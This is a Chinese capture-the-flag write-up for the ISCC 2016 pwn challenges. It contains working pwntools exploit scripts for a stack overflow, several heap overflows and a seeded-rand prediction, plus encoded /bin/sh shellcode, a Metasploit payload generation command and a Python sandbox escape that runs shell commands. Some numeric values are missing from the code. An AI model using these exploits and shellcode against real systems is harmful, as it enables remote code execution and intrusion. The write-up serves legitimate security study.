iscc2016 pwn部分writeup
一.pwn1
简单的32位栈溢出,定位溢出点后即可写exp
gdb-peda$ r
Starting program: /usr/iscc/pwn1
C'mon pwn me : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A% Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41632541 ('A%cA')
EBX: 0xb7fb6000 --> 0x1a5da8
ECX: 0xb7fb7884 --> 0x0
EDX: 0x1
ESI: 0x0
EDI: 0x0
EBP: 0xbffff478 --> 0x0
ESP: 0xbffff45c --> 0x8048607 (mov eax,0x0)
EIP: 0x41632541 ('A%cA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41632541
[------------------------------------stack-------------------------------------]
| 0xbffff45c --> 0x8048607 (mov eax,0x0)
| 0xbffff460 --> 0x80486c1 --> 0x1007325
| 0xbffff464 --> 0x804a060 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
| 0xbffff468 --> 0x804861b (add ebx,0x19b9)
| 0xbffff46c --> 0xb7fb6000 --> 0x1a5da8
| 0xbffff470 --> 0x8048610 (push ebp)
| 0xbffff474 --> 0x0
| 0xbffff478 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41632541 in ?? ()
shellcode保存到bss段上,然后ret返回即可:
#!/usr/bin/env python
from pwn import * #p= process('./pwn1')
p=remote('101.200.187.112',) ret = 0x0804a060
ppr=0x0804866e buf = ""
buf += "\x89\xe0\xdd\xc7\xd9\x70\xf4\x5b\x53\x59\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x70\x6a\x74\x4b\x62"
buf += "\x78\x5a\x39\x72\x72\x62\x46\x35\x38\x46\x4d\x42\x43"
buf += "\x4b\x39\x69\x77\x43\x58\x56\x4f\x54\x33\x45\x38\x37"
buf += "\x70\x63\x58\x54\x6f\x45\x32\x62\x49\x30\x6e\x4c\x49"
buf += "\x6b\x53\x71\x42\x5a\x48\x73\x38\x75\x50\x47\x70\x43"
buf += "\x30\x74\x6f\x65\x32\x50\x69\x50\x6e\x66\x4f\x54\x33"
buf += "\x32\x48\x43\x30\x42\x77\x56\x33\x6c\x49\x38\x61\x78"
buf += "\x4d\x6f\x70\x41\x41" payload = buf + "A" * ( - len(buf)) + p32(ret)
p.recvuntil(":")
p.send(payload)
#pwnlib.gdb.attach(p)
p.interactive()
这里有个坑点就是shellcode的截断问题,在exp-db上找了好多个都执行不了最后好友提醒用msf生成吧,过程如下:
msf > use linux/x86/exec
msf payload(exec) > set CMD /bin/sh
CMD => /bin/sh
msf payload(exec) > generate -b '\x00\xff\x0b' -t py
二.encrypt
这是个堆溢出,由于pwn经验很少,做出的两道堆溢出花的时间不少,首先定位溢出点:

程序会调用一个fastcall执行加密操作,通过溢出可以控制call指针,但是参数会有限制,不过没关系,经过调试,用puts地址覆盖,打印出来的就是setbuf的地址,然后就可计算atoi和system地址,atoi的got地址覆盖堆头索引指针,然后edit的时候可任意修改,代码如下:
from pwn import *
import pwnlib
io=process('./encrypt')
#io=remote('101.200.187.112',)
def create(message):
global io
print io.recvuntil('4. Exit.\n')
io.sendline('')
print io.recvuntil('Input your message :')
io.sendline(message)
print io.recvuntil('(1.No,2.Xor):')
io.sendline('')
return
def edit(id,message):
global io
print io.recvuntil('4. Exit.\n')
io.sendline('')
print io.recvuntil('Give me message id :')
io.sendline(id)
print io.recvuntil('Input message :')
io.sendline(message)
return
def encrypt():
global io
print io.recvuntil('4. Exit.\n')
io.sendline('')
print io.recvuntil('Give me message id :')
io.sendline('')
return def main():
atoi_got=0x602060
b='bbbbbbbbbb'
puts_addr=0x602018
d='x'*+p64(0x602018)
create('aaaaaaaaaaaa')
create('bbbbbbbbbbbb')
edit('',d)
encrypt()
io.recvuntil('Encrypting your message...\n')
leak=io.recvuntil('\n').split('\n')[]
#print leak
leak_addr=leak.ljust(,'\x00')
print leak_addr
setbuf_addr=u64(leak_addr)
#print addr
elfinfo=ELF('libc.so.6')
system_offset=elfinfo.symbols["system"]
setbuf_offset=elfinfo.symbols["setbuf"]
system_addr=setbuf_addr+system_offset-setbuf_offset
print "system_addr"+hex(system_addr)
e='y'*+p64(0x602060)
create('cccc')
create('dddd')
edit('',e)
edit('',p64(system_addr))
io.sendline('/bin/sh')
io.interactive()
return
if __name__ == '__main__':
main()
三.guess
就是一个验证随机数的程序,通过read溢出可覆盖变量控制seed的值,然后rand()值就可以预测

由于python和c的rand函数不是相同库,想到的办法就是本地写个c程序生成可控的rand值,然后根据guess程序的算法输出相应的值,然后exp中输入即可打开flag文件,c代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
int i;
int tmpra;
int tmprb;
int v4;
int out;
int a;
unsigned long int seed;
seed = atol(argv[]);
srand(seed);
a=rand();
//printf("rand0:%x",a);
out=(a % ) +;
printf("%d,",out);
for(i=;i<;i++){
tmpra=rand();
//printf("rand1:%x",tmpra);
srand(tmpra);
v4=rand() % +;
printf("%d,",v4);
}
return ;
}

from pwn import *
from time import time #p=process('./guess')
p=remote('101.200.187.112',)
p.recvuntil("name :")
p.send('a'*+'\n') #seed=0xa6381cc
#rand=0x44236095
input=[,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,] for i in range(,):
p.recvuntil("Now guess :")
p.send(str(input[i])+'\n')
p.interactive()

四.pyclac
这题不需要写exp,nc连接即可,然后就是想办法执行系统命令,先试下过滤的参数,发现os,open,等过滤了,又没办法直接导包,一开始想到eval绕过滤,然后去openflag文件,本地成功了,远程却没有open功能,没有包的原因吧,所以还得执行系统命令才行,os和subprocess的包没有权限导入,commans能行所以姿势是这样:__import__('commands').getoutput("ls"),__import__('commands').getoutput("cat flag")
五.bitshop
ida得知editshoppingnote的地方存在堆溢出,可覆盖到第0块的堆头
__int64 note_sub_400DBF()
{
__int64 v0; // ST08_8@1 v0 = *MK_FP(__FS__, 40LL);
printf("Input shopping note :");
read(, (char *)qword_602100 + , 0x78uLL); // 可读入120字节
puts("Shopping note recorded!");
return *MK_FP(__FS__, 40LL) ^ v0;
}

一开始思路错了,想用dwshoot去doublefree,没成功,gdb调了很久才发现可以修改堆头指针,于是根据fastbin的原理,溢出控制fd指针的方法可以任意内存读写,接下来就类似于encrypt,修改atoi的地址为system拿shell。
from pwn import *
import pwnlib #io=process('./bitshop')
io=remote('101.200.187.112',) def add(len,name,content):
global io
print io.recvuntil('Your choice $')
io.sendline('')
print io.recvuntil('length:')
io.sendline(len)
print io.recvuntil('comment:')
io.sendline(content)
print io.recvuntil('name:')
io.sendline(name) return
def edit(id,len,content):
global io
print io.recvuntil('Your choice $')
io.sendline('')
print io.recvuntil(':')
io.sendline(id)
print io.recvuntil(':')
io.sendline(len)
print io.recvuntil('Input comment :')
io.sendline(content)
return
def edit_note(note):
global io
print io.recvuntil('Your choice $')
io.sendline('')
print io.recvuntil('note :')
io.sendline(note)
return
def remove(id):
print io.recvuntil('Your choice $')
io.sendline('')
print io.recvuntil('id :')
io.sendline(id)
return
def view():
print io.recvuntil('Your choice $')
io.sendline('')
print io.recv()
return
def main():
io.recvuntil('plz input your name:')
io.sendline('a'*)
print io.recvuntil('Your choice $')
io.sendline('')
io.recvuntil('a'*)
leak=io.recvuntil('\n').split('\n')[]
leak_addr=leak.ljust(,'\x00') print leak_addr
print hex(u64(leak_addr))
ptr=u64(leak_addr)
print hex(ptr)
atoi_got=0x602088
payload1='a'*0x5c+p64()+p64(0x51)+p64(atoi_got)+p64(0x51) #......leak atoi_got
add('','a'*,'a'*)
add('','b'*,'b'*)
remove('')
remove('')
#pwnlib.gdb.attach(io)
add('','c'*,'cccc')
edit_note(payload1)
#pwnlib.gdb.attach(io)
#add('','d'*,p64(atoi_got))
view()
io.recvuntil('Comment : ')
atoi=io.recvuntil('\n').split('\n')[]
print str(atoi)
atoi_add=atoi.ljust(,'\x00')
atoi_addr=u64(atoi_add)
print atoi_addr #change got
elfinfo=ELF('libc.so.6')
system_offset=elfinfo.symbols["system"]
print system_offset
atoi_offset=elfinfo.symbols["atoi"]
print atoi_offset
system_addr=atoi_addr+system_offset-atoi_offset
#pwnlib.gdb.attach(io)
print hex(system_addr)
#pwnlib.gdb.attach(io)
edit('','',p64(system_addr)) io.send('/bin/sh\n')
io.interactive()
if __name__ == '__main__':
main()
五.library
这个没有成功拿shell,c++程序的pwn的writeup比较少,搜到了某大牛的zctf pwn500: http://www.cnblogs.com/wangaohui/p/5211672.html,虽然没能依葫芦画瓢,但还是受益匪浅,记录下自己的分析过程和思路。
add_book可以多添加设定的size一个,所以溢出8字节到下一堆头,调试后发现可以泄露libc地址和堆地址,想到的方法是:
1.泄露出libc地址后,修改got,然而got并不能写(为什么呢)
2.又试着在堆块内容里伪造presize,size,fd,bk利用溢出到下一堆块的头部修改下一堆块的presize和size(这里设定category大小为9即时可修改下一堆头的size位,而8时只能溢出到size位),dw-shoot去利用,free前一块后控制指针,然后可以任意编辑cate的头部任意内存读写,这个方法还是没有运用得娴熟,所以没成功,也不知道能不能行得通。
3.将计算好的system地址写到堆内容中,然后修改堆头的虚表指针使其指向保存system的堆地址,然后调用addbook,removebook等fastcall的时候会被劫持调用system函数,写的exp能成功执行system,就是没能想到怎么传/bin/sh。所以最终没能成功做出这题,还是等看大神们是怎么解的吧,这里贴出没成功的代码,以便自己以后参考对比
# -*- coding: utf- -*
from pwn import *
import pwnlib
#io=process('./library')
io=remote('101.200.187.112',) def add_cate(len):
global io
print io.recvuntil('Your option $')
io.sendline('')
print io.recvuntil('size : ')
io.sendline(len) return
def add_book(cateid,bookid):
global io
print io.recvuntil('Your option $')
io.sendline('')
print io.recvuntil(': ')
io.sendline(cateid)
print io.recvuntil(':')
io.sendline(bookid)
return
def get_id(cateid,bookid):
global io
print io.recvuntil('Your option $')
io.sendline('')
print io.recvuntil(': ')
io.sendline(cateid)
print io.recvuntil(': ')
io.sendline(bookid)
return
def remove_book(cateid):
print io.recvuntil('Your option $')
io.sendline('')
print io.recvuntil(': ')
io.sendline(cateid)
return
def remove_cate(cateid):
print io.recvuntil('Your option $')
io.sendline('')
print io.recvuntil(': ')
io.sendline(cateid)
return
def reset_cate(cateid,size):
print io.recvuntil('Your option $')
io.sendline('')
print io.recvuntil(': ')
io.sendline(cateid)
print io.recvuntil(': ')
io.sendline(size)
return
def main(): add_cate('')
add_cate('')
remove_cate('')
reset_cate('','')
get_id('','')#以上操作后就能泄露堆地址和虚表地址
io.recvuntil('Book ID is ')
heada=io.recvuntil('\n')
heada=int(heada)
print heada
get_id('','')
io.recvuntil('Book ID is ')
headb=io.recvuntil('\n')
headb=int(headb)
print headb
get_id('','') #show got address
io.recvuntil('Book ID is ')
headc=io.recvuntil('\n')
headc=int(headc)
print headc
headd=headc-0x380
heade=headb-0x80
#pwnlib.gdb.attach(io)
atoi_got=headc-0xc0 add_cate('')
reset_cate('','')
add_cate('')
add_book('','')
add_book('','')
add_book('','')
add_book('','')
add_book('','')
add_book('','')
add_book('',str(headd))
add_book('','') #
add_book('',str(atoi_got))
get_id('','')
io.recvuntil('Book ID is ')
atoiaddr=io.recvuntil('\n')
atoiaddr=int(atoiaddr)
print atoiaddr
#pwnlib.gdb.attach(io) elfinfo=ELF('/lib/x86_64-linux-gnu/libc.so.6')
system_offset=elfinfo.symbols["system"]
print system_offset
atoi_offset=elfinfo.symbols["atoi"]
print atoi_offset
system_addr=atoiaddr+system_offset-atoi_offset
print system_addr
#pwnlib.gdb.attach(io) #pwnlib.gdb.attach(io) remove_book('')
remove_book('') add_book('','')
add_book('',str(heade))
#pwnlib.gdb.attach(io)
add_book('',str(system_addr))
add_book('',str(system_addr))
add_book('',str(system_addr))
add_book('',str(system_addr))
remove_book('')
remove_book('')
remove_book('')
add_book('',str(heade))
add_book('','12884901892')
add_book('','29400045130965551')#/bin/sh add_book('','29400045130965551')
#pwnlib.gdb.attach(io) io.interactive()
return
if __name__ == '__main__':
main()
iscc2016 pwn部分writeup的更多相关文章
- ctf百度杯十二月场what_the_fuck(一口盐汽水提供的答案)
目录 漏洞利用原理 具体利用步骤 漏洞利用原理 read(, &s, 0x20uLL); if ( strstr(&s, "%p") || strstr(& ...
- ISCC2016 WriteUp
日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...
- Jarvis OJ - 栈系列部分pwn - Writeup
最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...
- 【CTF】Pwn入门 XCTF 部分writeup
碎碎念 咕咕咕了好久的Pwn,临时抱佛脚入门一下. 先安利之前看的一个 Reverse+Pwn 讲解视频 讲的还是很不错的,建议耐心看完 另外感觉Reverse和Pwn都好难!! 不,CTF好难!! ...
- 攻防世界新手区pwn writeup
CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...
- 2019 第十届 SWPUCTF writeup(Pwn)
p1KkHeap 0.环境 1.文件信息 2.文件开启的保护 3.IDA分析 main函数 add show edit delete delete功能出现了指针悬浮的问题,配合上tcache,可以任意 ...
- ISCC2018 Reverse & Pwn writeup
Reference:L1B0 Re RSA256 春秋欢乐赛原题..flag都不变的 给了三个加密文件和公钥证书public.key,可以使用openssl进行处理 $openssl rsa -pub ...
- 虎符2021线下赛pwn writeup
jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...
- NepCTF pwn writeup
上周抽时间打了nepnep举办的CTF比赛,pwn题目出的挺不错的,适合我这种只会一点点选手做,都可以学到新东西. [签到] 送你一朵小红花 64位程序,保护全开. 程序会在buf[2]处留下一个da ...
随机推荐
- Hibernate 多对多关联Demo
以学生[Student ]与课程[Course ]之间的关系为例: //Course .java public class Course implements Serializable { priva ...
- C++ 异常处理执行过程
看<clean code>时,又遇到异常处理的例程. 看不明白是因为我一直都将异常处理束之高阁. 今天晚上下决心去找资料看看,看完之后觉得以前是把它想得太难,其实非常简单. 希望以后遇到问 ...
- Bit Map解析
1. Bit Map算法简介 来自于<编程珠玑>.所谓的Bit-map就是用一个bit位来标记某个元素对应的Value, 而Key即是该元素.由于采用了Bit为单位来存储数据,因此在存储空 ...
- windows phone使用sharpcompress进行解压压缩文件
在做移动端时,当我们需要从服务器获得多个文件时,为了节约流量,服务器一般会返回一个压缩包,那我们就是下载完成后,在手机中进行解压到指定位置 SharpCompress就是可以在手机中进行解压一个类库( ...
- JQUERY1.9学习笔记 之基本过滤器(九) 小于选择器
小于选择器 jQuery( ":lt(index)" ) jQuery( ":lt(-index)" ) 描述:选择所有小于指定下标的元素. <!DOCT ...
- python学习第十八天 --文件操作
这一章节主要讲解文件操作及其文件读取,缓存,文件指针. 文件操作 (1)文件打开:open(filepath,filemode) filepath:要打开文件的路径 filemode:文件打开的方式 ...
- Django filter中用contains 在mysql中的问题
用PYTHON ,DJANGO 做站,在通常的情况下,需要用到 orM 的查询方法,比如object.filter(tag__contains='keywords').... 在这种情况下,如果你跟踪 ...
- k-近邻算法理解
左图中,绿色圆要被决定赋予哪个类,是红色三角形还是蓝色四方形?如果K=3,由于红色三角形所占比例为2/3,绿色圆将被赋予红色三角形那个类,如果K=5,由于蓝色四方形比例为3/5,因此绿色圆被赋予蓝色四 ...
- 线程间操作无效: 从不是创建控件“textBox2”的线程访问它
如何:对 Windows 窗体控件进行线程安全调用 线程间操作无效: 从不是创建控件的线程访问它的三种方法 如果使用多线程处理来提高 Windows 窗体应用程序的性能,则你必须确保以线程安全的方式调 ...
- TCP回射客户程序:str_cli函数
str_cli函数完成客户处理循环: 从标准输入读入一行文本,写到服务器上,读回服务器对该行的回射,并把回射行写到标准输出上 读入一行,写到服务器 fgets读入一行文本,writen把该行发送给服务 ...